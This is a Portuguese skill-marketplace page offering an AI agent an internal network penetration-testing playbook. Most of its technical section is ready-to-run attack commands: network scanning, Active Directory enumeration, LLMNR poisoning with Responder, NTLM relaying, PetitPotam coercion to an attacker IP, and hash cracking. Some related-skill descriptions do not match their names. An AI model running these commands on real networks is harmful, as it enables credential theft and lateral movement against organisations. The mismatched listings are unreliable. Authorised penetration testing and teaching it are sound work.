conducting-internal-network-penetration-test
Faz seu agente simular um atacante dentro de uma rede corporativa. Ele busca caminhos para se mover pela rede, obter mais privilégios e encontrar dados sensíveis.
O que ela faz
Este agente simula um invasor que já está dentro da rede de uma empresa. Ele procura por caminhos para se mover para outros computadores, tentar conseguir privilégios mais altos e encontrar dados sensíveis.
Quando usar
- ✓Para testar a segurança da rede interna.
- ✓Após uma suspeita de invasão para ver o que um atacante poderia fazer.
- ✓Para verificar se os sistemas de segurança estão funcionando corretamente.
Exemplo do que pedir para a IA
“Simule um teste de invasão na rede interna da empresa, começando de um computador comum.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
Ele usa ferramentas para descobrir computadores, senhas e vulnerabilidades na rede. O objetivo é encontrar o 'caminho' que um invasor usaria para causar o máximo de dano.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill conducting-internal-network-penetration-testOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/conducting-internal-network-penetration-test/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Realizando Teste de Penetração de Rede Interna
Visão Geral
Um teste de penetração de rede interna simula um atacante que já obteve acesso à rede interna ou um insider malicioso. O testador opera a partir de uma posição de "brecha assumida" — tipicamente uma estação de trabalho de domínio padrão ou um ponto de rede — e tenta movimento lateral, escalonamento de privilégios, coleta de credenciais e exfiltração de dados para determinar o raio de impacto de um endpoint comprometido.
Quando Usar
- Ao realizar avaliações de segurança que envolvem testes de penetração de rede interna.
- Ao seguir procedimentos de resposta a incidentes para eventos de segurança relacionados.
- Ao realizar atividades agendadas de testes de segurança ou auditoria.
- Ao validar controles de segurança através de testes práticos.
Pré-requisitos
- Regras de Engajamento assinadas com escopo de rede interna.
- Acesso à rede: conexão física Ethernet ou conexão VPN para VLAN interna.
- Credenciais de usuário de domínio padrão (modelo de brecha assumida) ou acesso não autenticado.
- Laptop de teste com Kali Linux, Impacket, Responder, BloodHound.
- Coordenação com TI/SOC para monitoramento e contatos de emergência.
Aviso Legal: Esta habilidade é apenas para fins de testes de segurança autorizados e educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.
Fase 1 — Descoberta e Enumeração de Rede
Reconhecimento Inicial da Rede
# Identify your own network position
ip addr show
ip route show
cat /etc/resolv.conf
# ARP scan for live hosts on local subnet
arp-scan --localnet --interface eth0
# Nmap host discovery across internal ranges
nmap -sn 10.0.0.0/8 --exclude 10.0.0.1 -oG internal_hosts.gnmap
nmap -sn 172.16.0.0/12 -oG internal_hosts_172.gnmap
nmap -sn 192.168.0.0/16 -oG internal_hosts_192.gnmap
# Extract live hosts
grep "Status: Up" internal_hosts.gnmap | awk '{print $2}' > live_hosts.txt
# Port scan live hosts — top 1000 ports
nmap -sS -sV -T4 -iL live_hosts.txt -oA internal_tcp_scan
# Service-specific scans
nmap -p 445 --open -iL live_hosts.txt -oG smb_hosts.gnmap
nmap -p 3389 --open -iL live_hosts.txt -oG rdp_hosts.gnmap
nmap -p 22 --open -iL live_hosts.txt -oG ssh_hosts.gnmap
nmap -p 1433,3306,5432,1521,27017 --open -iL live_hosts.txt -oG db_hosts.gnmap
Enumeração do Active Directory
# Enumerate domain information with domain credentials
# Using CrackMapExec / NetExec
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --shares
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --users
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --groups
# LDAP enumeration
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName memberOf
# Enumerate Group Policy Objects
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --lsa
# BloodHound data collection
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local -ns 10.0.0.5 -c all
# Import JSON files into BloodHound GUI for attack path analysis
# Enum4linux-ng for legacy enumeration
enum4linux-ng -A 10.0.0.5 -u 'testuser' -p 'Password123'
Enumeração de Serviços de Rede
# SMB share enumeration
smbclient -L //10.0.0.10 -U 'testuser%Password123'
smbmap -H 10.0.0.10 -u 'testuser' -p 'Password123' -R
# SNMP enumeration
snmpwalk -v2c -c public 10.0.0.1
# DNS zone transfer attempt
dig axfr corp.local @10.0.0.5
# NFS enumeration
showmount -e 10.0.0.15
# MSSQL enumeration
impacket-mssqlclient 'corp.local/testuser:Password123@10.0.0.20' -windows-auth
Fase 2 — Ataques de Credenciais
Captura de Credenciais de Rede
# Responder — LLMNR/NBT-NS/mDNS poisoning
sudo responder -I eth0 -dwPv
# Capture NTLMv2 hashes from Responder logs
cat /usr/share/responder/logs/NTLMv2-*.txt
# mitm6 — IPv6 DNS takeover
sudo mitm6 -d corp.local
# ntlmrelayx — relay captured credentials
impacket-ntlmrelayx -tf smb_targets.txt -smb2support -socks
# PetitPotam — coerce NTLM authentication
python3 PetitPotam.py -u 'testuser' -p 'Password123' -d corp.local \
attacker_ip 10.0.0.5
Ataques de Senha
# Quebrar hashes NTLMv2 capturados
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
# Password spraying (cuidado com políticas de bloqueio de conta)
…
Perguntas frequentes
O que é 'movimento lateral'?
É a capacidade de um invasor se mover de um computador para outro dentro da rede.
O que é 'escalada de privilégio'?
É quando um invasor tenta obter permissões maiores em um sistema, como se tornar um administrador.
Preciso ter permissão para usar isso?
Sim, este teste só pode ser feito em redes que você tem autorização explícita para testar.
Detalhes
Descrição original do autor
Execute an internal network penetration test simulating an insider threat or post-breach attacker to identify lateral movement paths, privilege escalation vectors, and sensitive data exposure within the corporate network.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5576
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC